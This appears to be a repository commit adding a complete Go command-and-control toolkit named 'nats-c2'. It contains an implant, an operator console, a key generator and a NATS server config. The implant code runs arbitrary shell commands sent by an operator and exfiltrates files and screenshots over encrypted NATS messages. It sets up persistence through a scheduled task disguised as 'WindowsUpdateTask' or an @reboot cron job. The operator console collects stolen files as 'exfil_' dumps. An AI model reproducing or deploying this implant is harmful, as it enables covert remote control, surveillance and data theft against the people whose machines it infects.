Upload files to "nats-c2"
This commit is contained in:
@@ -0,0 +1,14 @@
|
||||
// generate_key.go
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func main() {
|
||||
key := make([]byte, 32)
|
||||
rand.Read(key)
|
||||
fmt.Println(base64.StdEncoding.EncodeToString(key))
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
github.com/BurntSushi/freetype-go v0.0.0-20160129220410-b763ddbfe298/go.mod h1:D+QujdIlUNfa0igpNMk6UIvlb6C252URs4yupRUV4lQ=
|
||||
github.com/BurntSushi/graphics-go v0.0.0-20160129215708-b43f31a4a966/go.mod h1:Mid70uvE93zn9wgF92A/r5ixgnvX8Lh68fxp9KQBaI0=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d h1:QRKpU+9ZBDs62LyBfwhZkJdB5DJX2Sm3p4kUh7l1aA0=
|
||||
github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d/go.mod h1:SUxUaAK/0UG5lYyZR1L1nC4AaYYvSSYTWQSH3FPcxKU=
|
||||
github.com/ebitengine/purego v0.10.0 h1:QIw4xfpWT6GWTzaW5XEKy3HXoqrJGx1ijYHzTF0/ISU=
|
||||
github.com/ebitengine/purego v0.10.0/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
|
||||
github.com/gen2brain/shm v0.2.1 h1:4ARWVKmLPeXE6Qq547N1Fdub+S285OEca+0BoxUJX6g=
|
||||
github.com/gen2brain/shm v0.2.1/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA=
|
||||
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
|
||||
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
|
||||
github.com/go-vgo/robotgo v1.0.2 h1:MbhSoJSzv/PNr2dL6H0Z1IUL4Uypsk2b9lQsGQ15hjU=
|
||||
github.com/go-vgo/robotgo v1.0.2/go.mod h1:wb9ozpOGZS0mHt1+hg4UXzyZe9A8qytjKB84tG9iNyM=
|
||||
github.com/godbus/dbus/v5 v5.2.2 h1:TUR3TgtSVDmjiXOgAAyaZbYmIeP3DPkld3jgKGV8mXQ=
|
||||
github.com/godbus/dbus/v5 v5.2.2/go.mod h1:3AAv2+hPq5rdnr5txxxRwiGjPXamgoIHgz9FPBfOp3c=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/jezek/xgb v1.3.0 h1:Wa1pn4GVtcmNVAVB6/pnQVJ7xPFZVZ/W1Tc27msDhgI=
|
||||
github.com/jezek/xgb v1.3.0/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
|
||||
github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a h1:byHoGvaqttgBKjxlRiJrgXpEGSEGaGSehCDAEOhWdmo=
|
||||
github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a/go.mod h1:J+gHyFrSWnDEeTohhG6DSh048byYWPx4z0ndUu6OhYw=
|
||||
github.com/klauspost/compress v1.18.5 h1:/h1gH5Ce+VWNLSWqPzOVn6XBO+vJbCNGvjoaGBFW2IE=
|
||||
github.com/klauspost/compress v1.18.5/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
|
||||
github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749 h1:Qj3hTcdWH8uMZDI41HNuTuJN525C7NBrbtH5kSO6fPk=
|
||||
github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749/go.mod h1:autxFIvghDt3jPTLoqZ9OZ7s9qTGNAWmYCjVFWPX/zg=
|
||||
github.com/nats-io/nats.go v1.52.0 h1:n3avV4VBsCgsdwh71TppsTwtv+QdPs7ntSKM8qJLGsc=
|
||||
github.com/nats-io/nats.go v1.52.0/go.mod h1:26HypzazeOkyO3/mqd1zZd53STJN0EjCYF9Uy2ZOBno=
|
||||
github.com/nats-io/nkeys v0.4.15 h1:JACV5jRVO9V856KOapQ7x+EY8Jo3qw1vJt/9Jpwzkk4=
|
||||
github.com/nats-io/nkeys v0.4.15/go.mod h1:CpMchTXC9fxA5zrMo4KpySxNjiDVvr8ANOSZdiNfUrs=
|
||||
github.com/nats-io/nuid v1.0.1 h1:5iA8DT8V7q8WK2EScv2padNa/rTESc1KdnPw4TC2paw=
|
||||
github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c=
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
|
||||
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
|
||||
github.com/otiai10/gosseract/v2 v2.4.1 h1:G8AyBpXEeSlcq8TI85LH/pM5SXk8Djy2GEXisgyblRw=
|
||||
github.com/otiai10/gosseract/v2 v2.4.1/go.mod h1:1gNWP4Hgr2o7yqWfs6r5bZxAatjOIdqWxJLWsTsembk=
|
||||
github.com/otiai10/mint v1.6.3 h1:87qsV/aw1F5as1eH1zS/yqHY85ANKVMgkDrf9rcxbQs=
|
||||
github.com/otiai10/mint v1.6.3/go.mod h1:MJm72SBthJjz8qhefc4z1PYEieWmy8Bku7CjcAqyUSM=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 h1:o4JXh1EVt9k/+g42oCprj/FisM4qX9L3sZB3upGN2ZU=
|
||||
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
|
||||
github.com/shirou/gopsutil/v4 v4.26.2 h1:X8i6sicvUFih4BmYIGT1m2wwgw2VG9YgrDTi7cIRGUI=
|
||||
github.com/shirou/gopsutil/v4 v4.26.2/go.mod h1:LZ6ewCSkBqUpvSOf+LsTGnRinC6iaNUNMGBtDkJBaLQ=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071 h1:qo7kOhoN5DHioXNlFytBzIoA5glW6lsb8YqV0lP3IyE=
|
||||
github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071/go.mod h1:aMd4yDHLjbOuYP6fMxj1d9ACDQlSWwYztcpybGHCQc8=
|
||||
github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA=
|
||||
github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk=
|
||||
github.com/tklauser/go-sysconf v0.3.16 h1:frioLaCQSsF5Cy1jgRBrzr6t502KIIwQ0MArYICU0nA=
|
||||
github.com/tklauser/go-sysconf v0.3.16/go.mod h1:/qNL9xxDhc7tx3HSRsLWNnuzbVfh3e7gh/BmM179nYI=
|
||||
github.com/tklauser/numcpus v0.11.0 h1:nSTwhKH5e1dMNsCdVBukSZrURJRoHbSEQjdEbY+9RXw=
|
||||
github.com/tklauser/numcpus v0.11.0/go.mod h1:z+LwcLq54uWZTX0u/bGobaV34u6V7KNlTZejzM6/3MQ=
|
||||
github.com/vcaesar/gops v0.41.0 h1:FG748Jyw3FOuZnbzSgB+CQSx2e5LbLCPWV2JU1brFdc=
|
||||
github.com/vcaesar/gops v0.41.0/go.mod h1:/3048L7Rj7QjQKTSB+kKc7hDm63YhTWy5QJ10TCP37A=
|
||||
github.com/vcaesar/imgo v0.41.0 h1:kNLYGrThXhB9Dd6IwFmfPnxq9P6yat2g7dpPjr7OWO8=
|
||||
github.com/vcaesar/imgo v0.41.0/go.mod h1:/LGOge8etlzaVu/7l+UfhJxR6QqaoX5yeuzGIMfWb4I=
|
||||
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
|
||||
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
|
||||
github.com/vcaesar/screenshot v0.11.1 h1:GgPuN89XC4Yh38dLx4quPlSo3YiWWhwIria/j3LtrqU=
|
||||
github.com/vcaesar/screenshot v0.11.1/go.mod h1:gJNwHBiP1v1v7i8TQ4yV1XJtcyn2I/OJL7OziVQkwjs=
|
||||
github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
|
||||
github.com/vcaesar/tt v0.20.1/go.mod h1:cH2+AwGAJm19Wa6xvEa+0r+sXDJBT0QgNQey6mwqLeU=
|
||||
github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0=
|
||||
github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
|
||||
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
|
||||
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
|
||||
golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90 h1:jiDhWWeC7jfWqR9c/uplMOqJ0sbNlNWv0UkzE0vX1MA=
|
||||
golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90/go.mod h1:xE1HEv6b+1SCZ5/uscMRjUBKtIxworgEcEi+/n9NQDQ=
|
||||
golang.org/x/image v0.38.0 h1:5l+q+Y9JDC7mBOMjo4/aPhMDcxEptsX+Tt3GgRQRPuE=
|
||||
golang.org/x/image v0.38.0/go.mod h1:/3f6vaXC+6CEanU4KJxbcUZyEePbyKbaLoDOe4ehFYY=
|
||||
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
|
||||
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
@@ -0,0 +1,5 @@
|
||||
-----BEGIN NATS USER
|
||||
|
||||
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* IMPORTANT \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* NKEY Seed printed below can be used to sign and prove identity. NKEYs are sensitive and should be treated as secrets.
|
||||
|
||||
|
||||
@@ -0,0 +1,246 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/nats-io/nats.go"
|
||||
"github.com/go-vgo/robotgo"
|
||||
)
|
||||
|
||||
// ------------------------- CONFIGURATION -------------------------
|
||||
var natsServers = []string{
|
||||
"nats://localhost:4222", // Change to your server IP
|
||||
}
|
||||
|
||||
// AES key from generate_key.go
|
||||
const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c="
|
||||
|
||||
var aesKey []byte
|
||||
var agentID string
|
||||
const credsFile = "implant.creds"
|
||||
|
||||
// ------------------------- CRYPTO -------------------------
|
||||
func encrypt(plaintext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(aesKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nonce := make([]byte, gcm.NonceSize())
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
func decrypt(ciphertext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(aesKey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
gcm, err := cipher.NewGCM(block)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nonceSize := gcm.NonceSize()
|
||||
if len(ciphertext) < nonceSize {
|
||||
return nil, fmt.Errorf("ciphertext too short")
|
||||
}
|
||||
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
|
||||
return gcm.Open(nil, nonce, ciphertext, nil)
|
||||
}
|
||||
|
||||
// ------------------------- COMMAND EXECUTION -------------------------
|
||||
func runCommand(cmdStr string) string {
|
||||
var cmd *exec.Cmd
|
||||
if runtime.GOOS == "windows" {
|
||||
cmd = exec.Command("cmd", "/C", cmdStr)
|
||||
} else {
|
||||
cmd = exec.Command("/bin/sh", "-c", cmdStr)
|
||||
}
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
|
||||
// ------------------------- FILE OPERATIONS -------------------------
|
||||
func uploadFile(nc *nats.Conn, agentID, localPath string) {
|
||||
data, err := os.ReadFile(localPath)
|
||||
if err != nil {
|
||||
publishResult(nc, agentID, fmt.Sprintf("Upload error: %v", err))
|
||||
return
|
||||
}
|
||||
encData, err := encrypt(data)
|
||||
if err != nil {
|
||||
publishResult(nc, agentID, fmt.Sprintf("Encryption error: %v", err))
|
||||
return
|
||||
}
|
||||
b64enc := base64.StdEncoding.EncodeToString(encData)
|
||||
nc.Publish("c2."+agentID+".file_upload", []byte(b64enc))
|
||||
publishResult(nc, agentID, fmt.Sprintf("Uploaded %s (%d bytes)", localPath, len(data)))
|
||||
}
|
||||
|
||||
func downloadFile(nc *nats.Conn, agentID, remotePath, b64Content string) {
|
||||
encData, err := base64.StdEncoding.DecodeString(b64Content)
|
||||
if err != nil {
|
||||
publishResult(nc, agentID, fmt.Sprintf("Base64 decode error: %v", err))
|
||||
return
|
||||
}
|
||||
data, err := decrypt(encData)
|
||||
if err != nil {
|
||||
publishResult(nc, agentID, fmt.Sprintf("Decryption error: %v", err))
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(remotePath, data, 0644); err != nil {
|
||||
publishResult(nc, agentID, fmt.Sprintf("Write error: %v", err))
|
||||
return
|
||||
}
|
||||
publishResult(nc, agentID, fmt.Sprintf("Downloaded to %s (%d bytes)", remotePath, len(data)))
|
||||
}
|
||||
|
||||
// ------------------------- SCREENSHOT -------------------------
|
||||
func takeScreenshot(nc *nats.Conn, agentID string) {
|
||||
bitmap := robotgo.CaptureScreen()
|
||||
defer bitmap.Free()
|
||||
img := robotgo.ToImage(bitmap)
|
||||
tmpFile := filepath.Join(os.TempDir(), "screenshot.png")
|
||||
robotgo.Save(img, tmpFile)
|
||||
uploadFile(nc, agentID, tmpFile)
|
||||
os.Remove(tmpFile)
|
||||
}
|
||||
|
||||
// ------------------------- PERSISTENCE -------------------------
|
||||
func installPersistence() {
|
||||
exePath, _ := os.Executable()
|
||||
if runtime.GOOS == "windows" {
|
||||
cmd := exec.Command("schtasks", "/create", "/tn", "WindowsUpdateTask", "/tr", exePath, "/sc", "onlogon", "/f")
|
||||
cmd.Run()
|
||||
} else {
|
||||
cmd := exec.Command("crontab", "-l")
|
||||
out, _ := cmd.Output()
|
||||
newCron := string(out) + "@reboot " + exePath + " >/dev/null 2>&1\n"
|
||||
cmd2 := exec.Command("crontab", "-")
|
||||
cmd2.Stdin = strings.NewReader(newCron)
|
||||
cmd2.Run()
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------- NATS COMMUNICATION -------------------------
|
||||
func publishResult(nc *nats.Conn, agentID, msg string) {
|
||||
encMsg, _ := encrypt([]byte(msg))
|
||||
nc.Publish("c2."+agentID+".results", encMsg)
|
||||
}
|
||||
|
||||
func heartbeat(nc *nats.Conn, agentID string) {
|
||||
encHeart, _ := encrypt([]byte("online"))
|
||||
nc.Publish("c2."+agentID+".heartbeat", encHeart)
|
||||
}
|
||||
|
||||
func connectWithRetries() *nats.Conn {
|
||||
for {
|
||||
for _, url := range natsServers {
|
||||
// Try JWT auth first if creds file exists
|
||||
var nc *nats.Conn
|
||||
var err error
|
||||
|
||||
if _, err := os.Stat(credsFile); err == nil {
|
||||
nc, err = nats.Connect(url, nats.UserCredentials(credsFile), nats.Timeout(5*time.Second))
|
||||
} else {
|
||||
// Fall back to no auth for testing
|
||||
nc, err = nats.Connect(url, nats.Timeout(5*time.Second))
|
||||
}
|
||||
|
||||
if err == nil {
|
||||
fmt.Println("Connected to", url)
|
||||
return nc
|
||||
}
|
||||
fmt.Printf("Failed %s: %v\n", url, err)
|
||||
}
|
||||
fmt.Println("All servers failed, retrying in 10s...")
|
||||
time.Sleep(10 * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
var err error
|
||||
aesKey, err = base64.StdEncoding.DecodeString(b64Key)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
hostname, _ := os.Hostname()
|
||||
agentID = fmt.Sprintf("%s-%d", hostname, os.Getpid())
|
||||
|
||||
fmt.Println("Agent starting with ID:", agentID)
|
||||
|
||||
nc := connectWithRetries()
|
||||
defer nc.Drain()
|
||||
|
||||
// Subscribe to commands
|
||||
subj := "c2." + agentID + ".tasks"
|
||||
nc.Subscribe(subj, func(msg *nats.Msg) {
|
||||
cmdBytes, err := decrypt(msg.Data)
|
||||
if err != nil {
|
||||
publishResult(nc, agentID, "Decryption failed")
|
||||
return
|
||||
}
|
||||
cmd := string(cmdBytes)
|
||||
parts := strings.SplitN(cmd, " ", 2)
|
||||
verb := parts[0]
|
||||
arg := ""
|
||||
if len(parts) > 1 {
|
||||
arg = parts[1]
|
||||
}
|
||||
|
||||
switch verb {
|
||||
case "exit":
|
||||
publishResult(nc, agentID, "Exiting")
|
||||
nc.Drain()
|
||||
os.Exit(0)
|
||||
case "shell":
|
||||
out := runCommand(arg)
|
||||
publishResult(nc, agentID, out)
|
||||
case "upload":
|
||||
uploadFile(nc, agentID, arg)
|
||||
case "download":
|
||||
subparts := strings.SplitN(arg, " ", 2)
|
||||
if len(subparts) == 2 {
|
||||
downloadFile(nc, agentID, subparts[0], subparts[1])
|
||||
} else {
|
||||
publishResult(nc, agentID, "Usage: download <path> <base64data>")
|
||||
}
|
||||
case "persist":
|
||||
installPersistence()
|
||||
publishResult(nc, agentID, "Persistence installed")
|
||||
case "screenshot":
|
||||
takeScreenshot(nc, agentID)
|
||||
default:
|
||||
publishResult(nc, agentID, "Unknown command: "+verb)
|
||||
}
|
||||
})
|
||||
|
||||
heartbeat(nc, agentID)
|
||||
fmt.Println("Agent ready, waiting for commands...")
|
||||
|
||||
for {
|
||||
time.Sleep(30 * time.Second)
|
||||
heartbeat(nc, agentID)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/nats-io/nats.go"
|
||||
)
|
||||
|
||||
const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c="
|
||||
var aesKey []byte
|
||||
var nc *nats.Conn
|
||||
var natsURL = "nats://localhost:4222"
|
||||
|
||||
func encrypt(plaintext []byte) ([]byte, error) {
|
||||
block, _ := aes.NewCipher(aesKey)
|
||||
gcm, _ := cipher.NewGCM(block)
|
||||
nonce := make([]byte, gcm.NonceSize())
|
||||
io.ReadFull(rand.Reader, nonce)
|
||||
return gcm.Seal(nonce, nonce, plaintext, nil), nil
|
||||
}
|
||||
|
||||
func decrypt(ciphertext []byte) ([]byte, error) {
|
||||
block, _ := aes.NewCipher(aesKey)
|
||||
gcm, _ := cipher.NewGCM(block)
|
||||
nonceSize := gcm.NonceSize()
|
||||
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
|
||||
return gcm.Open(nil, nonce, ciphertext, nil)
|
||||
}
|
||||
|
||||
func publishTask(agent, cmd string) {
|
||||
encCmd, _ := encrypt([]byte(cmd))
|
||||
nc.Publish("c2."+agent+".tasks", encCmd)
|
||||
}
|
||||
|
||||
func main() {
|
||||
var err error
|
||||
aesKey, _ = base64.StdEncoding.DecodeString(b64Key)
|
||||
|
||||
// Try JWT auth if creds exist
|
||||
if _, err := os.Stat("implant.creds"); err == nil {
|
||||
nc, err = nats.Connect(natsURL, nats.UserCredentials("implant.creds"))
|
||||
} else {
|
||||
nc, err = nats.Connect(natsURL)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer nc.Drain()
|
||||
|
||||
heartbeats := make(map[string]time.Time)
|
||||
|
||||
nc.Subscribe("c2.*.heartbeat", func(m *nats.Msg) {
|
||||
dec, err := decrypt(m.Data)
|
||||
if err == nil && string(dec) == "online" {
|
||||
agent := strings.Split(m.Subject, ".")[1]
|
||||
heartbeats[agent] = time.Now()
|
||||
}
|
||||
})
|
||||
|
||||
nc.Subscribe("c2.*.results", func(m *nats.Msg) {
|
||||
dec, _ := decrypt(m.Data)
|
||||
agent := strings.Split(m.Subject, ".")[1]
|
||||
fmt.Printf("\n[+] Result from %s:\n%s\n> ", agent, string(dec))
|
||||
})
|
||||
|
||||
nc.Subscribe("c2.*.file_upload", func(m *nats.Msg) {
|
||||
b64data := string(m.Data)
|
||||
encData, _ := base64.StdEncoding.DecodeString(b64data)
|
||||
decData, _ := decrypt(encData)
|
||||
agent := strings.Split(m.Subject, ".")[1]
|
||||
filename := fmt.Sprintf("exfil_%s_%d.bin", agent, time.Now().Unix())
|
||||
os.WriteFile(filename, decData, 0644)
|
||||
fmt.Printf("\n[!] File saved: %s\n> ", filename)
|
||||
})
|
||||
|
||||
fmt.Println("[*] NATS C2 Operator Ready")
|
||||
fmt.Println("Commands: list, <agent> shell <cmd>, <agent> upload <local_file>, <agent> persist, <agent> screenshot, exit")
|
||||
|
||||
scanner := bufio.NewScanner(os.Stdin)
|
||||
for {
|
||||
fmt.Print("> ")
|
||||
if !scanner.Scan() {
|
||||
break
|
||||
}
|
||||
line := scanner.Text()
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
switch parts[0] {
|
||||
case "exit":
|
||||
return
|
||||
case "list":
|
||||
fmt.Println("Active agents:")
|
||||
for agent, ts := range heartbeats {
|
||||
if time.Since(ts) < 90*time.Second {
|
||||
fmt.Println(" -", agent)
|
||||
}
|
||||
}
|
||||
default:
|
||||
if len(parts) < 2 {
|
||||
fmt.Println("Usage: <agent> <command> [args]")
|
||||
continue
|
||||
}
|
||||
agent := parts[0]
|
||||
cmd := parts[1]
|
||||
args := strings.Join(parts[2:], " ")
|
||||
|
||||
switch cmd {
|
||||
case "shell":
|
||||
if args == "" {
|
||||
fmt.Println("Usage: shell <command>")
|
||||
continue
|
||||
}
|
||||
publishTask(agent, "shell "+args)
|
||||
case "upload":
|
||||
if args == "" {
|
||||
fmt.Println("Usage: upload <local_file>")
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(args)
|
||||
if err != nil {
|
||||
fmt.Println("Error reading file:", err)
|
||||
continue
|
||||
}
|
||||
encData, _ := encrypt(data)
|
||||
b64enc := base64.StdEncoding.EncodeToString(encData)
|
||||
publishTask(agent, fmt.Sprintf("download %s %s", args, b64enc))
|
||||
case "persist":
|
||||
publishTask(agent, "persist")
|
||||
case "screenshot":
|
||||
publishTask(agent, "screenshot")
|
||||
default:
|
||||
fmt.Println("Unknown command")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
listen: 4222
|
||||
|
||||
# Point to your operator JWT
|
||||
|
||||
operator:
|
||||
|
||||
# Use memory resolver for testing (or URL for production)
|
||||
|
||||
resolver: MEMORY
|
||||
|
||||
# Enable debug logging
|
||||
|
||||
debug: true trace: true
|
||||
|
||||
Reference in New Issue
Block a user